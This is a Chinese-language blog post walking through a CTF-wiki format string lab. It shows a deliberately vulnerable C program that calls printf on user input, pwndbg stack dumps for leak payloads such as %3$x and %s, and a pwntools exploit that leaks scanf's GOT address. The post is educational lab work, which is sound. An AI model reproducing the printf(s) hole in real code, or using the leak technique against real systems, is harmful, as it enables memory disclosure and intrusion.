美文网首页
格式化字符串

格式化字符串

作者: 萍水间人 | 来源:发表于2019-05-02 23:53 被阅读0次

    pwn

    格式化字符串

    这个题目是ctfwiki上的

    c代码如下:

    
    #include <stdio.h>
    int main() {
      char s[100];
      int a = 1, b = 0x22222222, c = -1;
      scanf("%s", s);
      printf("%08x.%08x.%08x.%s\n", a, b, c, s);
      printf(s);
      return 0;
    }
    

    (突然发现腾讯文档居然还支持代码好强啊

    我们编译一下:

    gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g
    

    把保护措施都关掉了

     % checksec leakMemory   
    [*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    先看一下几个payload

    pwndbg> b printf
    Breakpoint 1 at 0x8048330
    pwndbg> r
    Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory 
    %08x.%08x.%08x
    
    Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
    28printf.c: No such file or directory.
    

    在printf处下断点
    此时栈上的布局如下

    00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
    01:0004│      0xffffcfa0 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
    02:0008│      0xffffcfa4 ◂— 0x1
    03:000c│      0xffffcfa8 ◂— 0x22222222 ('""""')
    04:0010│      0xffffcfac ◂— 0xffffffff
    05:0014│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
    

    continue一下:

    pwndbg> c
    Continuing.
    00000001.22222222.ffffffff.%08x.%08x.%08x
    
    Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
    28in printf.c
    

    输出了信息的同时, 命中第二个断点

    此时栈上的布局如下:

    00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
    01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
    ... ↓
    03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
    04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
    05:0014│ eax  0xffffcfc0 ◂— '%08x.%08x.%08x'
    06:0018│      0xffffcfc4 ◂— '.%08x.%08x'
    07:001c│      0xffffcfc8 ◂— 'x.%08x'
    

    此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
    contiue一下

    pwndbg> c
    Continuing.
    ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]
    

    之前栈上的信息显示的不全,栈的内存如下:

    pwndbg> x/20x 0xffffcfb0
    0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
    0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
    0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
    0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
    0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
    

    0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
    都打印出来了, 也就是格式化字符串之后的三个位置的信息

    我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
    至于为什么是第n+1, 这是因为格式化字符串是第一个参数

    比如 通过 %3$x 我们可以泄露栈上被视为第4个参数的值

    栈布局如下:

    00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
    01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
    ... ↓
    03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
    04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
    05:0014│ eax  0xffffcfc0 ◂— '%3$x'
    06:0018│      0xffffcfc4 ◂— 0x0
    07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
    

    同样看不清, 还是直接打印内存信息吧

    pwndbg> x/20x 0xffffcfb0
    0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
    0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2
    0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
    0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
    0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
    

    猜猜这时候打印的信息是啥?
    答案是栈上被视为第四个参数的信息: 0x0804849d

    同样的我们还可以通过%s来得到字符串的信息

    栈布局如下:

    00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
    01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
    ... ↓
    03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
    04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
    05:0014│ eax  0xffffcfc0 ◂— 0x7325 /* '%s' */
    06:0018│      0xffffcfc4 ◂— 0x1
    07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
    

    还是看不清,直接看内存吧(md 垃圾pwndbg)

    pwndbg> x/20x 0xffffcfb0
    0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
    0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
    0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
    0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
    0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
    

    这个时候会直接将 0xffffcfc0 对应的字符串打印出来
    结果自然就是 %s了

    如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
    我自己尝试的结果是直接退出了,什么都没有打印出来emm

    这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了

    exp如下:

    from pwn import *
    import time
    sh = process('./leakMemory')
    
    context.log_level = 'debug'
    leakmemory = ELF('./leakMemory')
    
    __isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
    
    print hex(__isoc99_scanf_got)
    
    payload = p32(__isoc99_scanf_got) + '%4$s'
    
    print payload
    
    payload1 = '%4$s'
    payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
    gdb.attach(sh)
    #time.sleep(1)
    sh.sendline(payload)
    sh.recvuntil('%4$s\n')
    #print sh.recvuntil('%4$s\n')
    #print '\n'
    
    print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
    
    sh.interactive()
    

    我们运行这个exp
    在pwndbg中下断点

    运行到第二个printf的时候

    ───────────────────────────────────[ STACK ]────────────────────────────────────
    00:0000│ esp  0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
    01:0004│      0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
    ... ↓
    03:000c│      0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
    04:0010│      0xffa3be0c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
    05:0014│ eax  0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
    06:0018│      0xffa3be14 ◂— '%4$s'
    07:001c│      0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0
    

    另一边

    [+] Waiting for debugger: Done
    [DEBUG] Sent 0x9 bytes:
        00000000  14 a0 04 08  25 34 24 73  0a                        │····│%4$s│·│
        00000009
    [DEBUG] Received 0x24 bytes:
        00000000  30 30 30 30  30 30 30 31  2e 32 32 32  32 32 32 32  │0000│0001│.222│2222│
        00000010  32 2e 66 66  66 66 66 66  66 66 2e 14  a0 04 08 25  │2.ff│ffff│ff.·│···%│
        00000020  34 24 73 0a                                         │4$s·││
        00000024
    

    continue

    [DEBUG] Received 0x8 bytes:
        00000000  14 a0 04 08  b0 2b df f7                            │····│·+··││
        00000008
    0xf7df2bb0
    [*] Switching to interactive mode
    [*] Process './leakMemory' stopped with exit code 0 (pid 5064)
    [*] Got EOF while reading in interactive
    

    这个时候我们就得到了scanf函数的地址了
    ok 还有几个地方没弄明白之后再写

    相关文章

      网友评论

          本文标题:格式化字符串

          本文链接:https://www.haomeiwen.com/subject/qnoonqtx.html